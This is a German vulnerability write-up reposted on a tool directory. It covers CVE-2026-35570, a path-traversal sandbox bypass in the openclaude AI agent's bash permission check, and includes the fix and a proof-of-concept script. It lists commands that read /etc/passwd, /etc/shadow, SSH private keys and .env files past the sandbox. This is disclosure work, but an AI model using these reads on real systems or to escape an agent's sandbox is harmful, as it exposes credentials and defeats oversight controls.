Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-35570 — # Detaillierte Analyse und Proof-of-Concept für CVE-2026-35570, eine Sandbox-Umgehung in openclaude v0.1.7, die Pfad-Traversal ermöglicht, um beliebige Dateien außerhalb der Sandbox zu lesen und zu schreiben. | Kitploit
Tools/GitHubGitHub/rickidevs/cve-2026-35570
SchwachstellenanalyseCode-AnalyseExploitationWebsicherheit
GitHubrickidevs/cve-2026-35570

CVE-2026-35570

# Detaillierte Analyse und Proof-of-Concept für CVE-2026-35570, eine Sandbox-Umgehung in openclaude v0.1.7, die Pfad-Traversal ermöglicht, um beliebige Dateien außerhalb der Sandbox zu lesen und zu schreiben.

Repository anzeigen
1vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Ausbruch aus der Sandbox: Wie ich einen kritischen Path-Traversal-Bypass in openclaude fand

CVE-2026-35570 | CVSS 8.4 (Hoch) | openclaude v0.1.7


Nicht jede Schwachstelle erfordert eine ausgeklügelte Exploit-Kette. Manchmal reicht eine einzige falsch platzierte return-Anweisung, um ein Loch direkt durch dein Sicherheitsmodell zu reißen. Genau das ist CVE-2026-35570.

Dieser Write-up behandelt einen Sandbox-Bypass, den ich in openclaude v0.1.7 gefunden habe — ein Logikfehler, der es Path-Traversal-Payloads ermöglicht, direkt an der Dateisystem-Isolationsschicht vorbeizukommen, ohne jemals geprüft zu werden.


Wie ich es gefunden habe

Ich ging gerade bashPermissions.ts durch, als mir etwas im Kontrollfluss ins Auge fiel. Die Berechtigungslogik sah auf den ersten Blick vernünftig aus — wenn wir in einer Sandbox sind, den Befehl automatisch erlauben; andernfalls den Benutzer auffordern. Sauber genug.

Aber eine Frage ließ mich nicht los: Wo findet die Pfad-Einschränkungsprüfung eigentlich statt?

Ich verfolgte bashToolHasPermission() von oben nach unten und bildete den Ausführungspfad ab:

root@kitploit:~
bashToolHasPermission()
    │
    ├─ [~1445] Sandbox-Auto-Allow-Block
    │       └─ Keine Deny-Regel gefunden → return ALLOW  ⚠️ Früher Ausstieg
    │
    └─ [~1644] checkPathConstraints()              ❌ Nie erreicht

Der Sandbox-Block wurde gebaut, um interaktive Berechtigungsabfragen in Sandbox-Umgebungen zu überspringen. Völlig vernünftig. Das Problem ist, dass die Funktion, wenn sie ALLOW zurückgibt, genau dort endet. checkPathConstraints() — die Funktion, die tatsächlich für das Abfangen von Path Traversal verantwortlich ist — wird nie ausgeführt.


Was tatsächlich passiert

Innerhalb von bashToolHasPermission() folgt der Sandbox-Auto-Allow-Block dieser Logik:

  1. Ist Sandboxing aktiviert? → Ja
  2. Ist Auto-Allow aktiviert? → Ja
  3. Gibt es eine explizite Deny-Regel für diese Sitzung? → Nein
  4. → ALLOW zurückgeben und die Funktion verlassen

An diesem Punkt wird checkPathConstraints() vollständig umgangen. Der Path-Traversal-Filter bekommt keine Chance, irgendetwas zu tun.

Aus der Perspektive eines Angreifers bedeutet das, dass Befehle wie diese direkt durchkommen:

root@kitploit:~
cat ../../../../../etc/passwd
cat ../../../../../etc/shadow
cat ../../../../../home/user/.ssh/id_rsa
cat ../../../../../var/app/.env

Alle kommen mit behavior: allow zurück. Keine Abfrage. Kein Block. Nichts.


Auswirkungen

Drei Dinge werden möglich, wenn dieser Fehler vorhanden ist:

Beliebiges Lesen von Dateien. Alles außerhalb der Sandbox-Grenze ist Freiwild — /etc/passwd, /etc/shadow, SSH-Private-Keys, .env-Dateien. Solange die Berechtigungen auf Betriebssystemebene es erlauben, kann die Datei gelesen werden.

Beliebiges Schreiben von Dateien. Dieselbe Logik gilt in umgekehrter Richtung. Ein Angreifer kann in Pfade außerhalb der Sandbox schreiben, was die Tür zum Überschreiben von Konfigurationsdateien oder zum Ablegen von Inhalten an unerwarteten Orten öffnet.

Vollständiger Ausfall der Sandbox-Isolation. Der ganze Sinn der Sandbox ist es, Dateisystemgrenzen durchzusetzen. Mit diesem Fehler bedeutet diese Garantie nichts mehr.

CVSS v3.1: 8.4 (Hoch) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N


Der Fix

Der Fix ist konzeptionell unkompliziert. Der Sandbox-Auto-Allow-Block sollte interaktive Abfragen unterdrücken — das ist alles. Er sollte niemals die vollständige Berechtigungspipeline kurzschließen.

root@kitploit:~
if (
  SandboxManager.isSandboxingEnabled() &&
  SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
  shouldUseSandbox(input)
) {
  const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext);

  if (sandboxResult.behavior !== 'allow') {
    // Nur bei deny oder ask früh zurückkehren — Pfadprüfungen bei allow niemals überspringen
    return sandboxResult;
  }

  // Bei allow weiter zu checkPathConstraints unten durchfallen
}

// Die Path-Traversal-Prüfung muss immer ausgeführt werden
return checkPathConstraints(input, appState.toolPermissionContext);

Die Faustregel hier: Sandbox-Auto-Allow überspringt die Abfrage, nicht die Sicherheitsprüfungen.


Betroffene Versionen

FeldDetail
Paketopenclaude
Betroffene Versionv0.1.7
Gepatchte VersionKeine
CVECVE-2026-35570
CVSS8.4 (Hoch)

Proof of Concept

Voraussetzungen

  • Node.js >= 18
  • openclaude v0.1.7

Schritt 1 — Klonen und installieren

root@kitploit:~
git clone https://github.com/Gitlawb/openclaude
cd openclaude
git checkout v0.1.7
npm install

Schritt 2 — Sandbox-Modus aktivieren

Starte openclaude mit gesetzten Sandbox- und Auto-Allow-Flags:

root@kitploit:~
CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude

Die Variablennamen können leicht abweichen. Prüfe die Klasse SandboxManager, um die genauen Umgebungsvariablen-Zuordnungen für deinen Build zu bestätigen.

Schritt 3 — Das Testskript ausführen

Speichere Folgendes als poc.ts im Projektstammverzeichnis:

root@kitploit:~
import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions';
import { SandboxManager } from './src/sandbox/SandboxManager';

// Sandbox-Bedingungen einrichten
SandboxManager.setSandboxEnabled(true);
SandboxManager.setAutoAllowBashIfSandboxed(true);

// Payload mit Path Traversal
const maliciousInput = {
  command: 'cat ../../../../../etc/passwd'
};

const fakeAppState = {
  toolPermissionContext: {
    allowedPaths: ['/tmp/sandbox'],
    deniedPaths: []
  }
};

const result = bashToolHasPermission(maliciousInput, fakeAppState);

console.log('Ergebnis:', result.behavior);
// Erwartet:  "deny"   — Path Traversal sollte blockiert werden
// Tatsächlich: "allow"  ← Schwachstelle bestätigt

Dann ausführen:

root@kitploit:~
npx ts-node poc.ts

Schritt 4 — Die Ausgabe beobachten

Du wirst sehen:

root@kitploit:~
Ergebnis: allow

checkPathConstraints() wurde nie aufgerufen. Um das selbst zu bestätigen, füge eine Log-Zeile in bashPermissions.ts ein:

root@kitploit:~
// Ungefähr bei Zeile 1644
function checkPathConstraints(input, context) {
  console.log('checkPathConstraints wurde aufgerufen'); // Dies wird nie ausgegeben
  // ...
}

Führe das Skript erneut aus. Das Log wird nicht erscheinen — die Funktion wird tatsächlich übersprungen.

Schritt 5 — In der tatsächlichen Oberfläche reproduzieren

Öffne openclaude in einer Sandbox-Sitzung und sende den folgenden Befehl:

root@kitploit:~
cat ../../../../../etc/passwd

Er wird ohne jegliche Berechtigungsabfrage oder Blockierung ausgeführt und gibt den Inhalt von /etc/passwd direkt aus.


CVE-2026-35570

Tool herunterladen